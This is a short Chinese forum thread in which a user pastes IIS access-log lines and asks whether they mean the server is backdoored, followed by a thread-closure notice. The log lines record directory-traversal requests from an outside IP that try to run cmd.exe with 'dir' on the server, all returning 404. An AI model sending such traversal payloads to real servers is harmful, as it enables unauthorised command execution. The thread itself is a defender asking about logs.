IIS 中有这些东西是不是代表已经中了后门程序了？？

[yuyu123]

2004-03-26 11:45:44 219.145.118.229 - 192.168.1.2 80 GET /msadc/..%5c../..%5c../..%5c/..?../..?../..?../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:45:48 219.145.118.229 - 192.168.1.2 80 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:45:52 219.145.118.229 - 192.168.1.2 80 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:45:56 219.145.118.229 - 192.168.1.2 80 GET /scripts/..蜡../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:46:01 219.145.118.229 - 192.168.1.2 80 GET /scripts/..翜../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:46:05 219.145.118.229 - 192.168.1.2 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
2004-03-26 11:46:10 219.145.118.229 - 192.168.1.2 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -

[Aceryt]

强制结贴声明。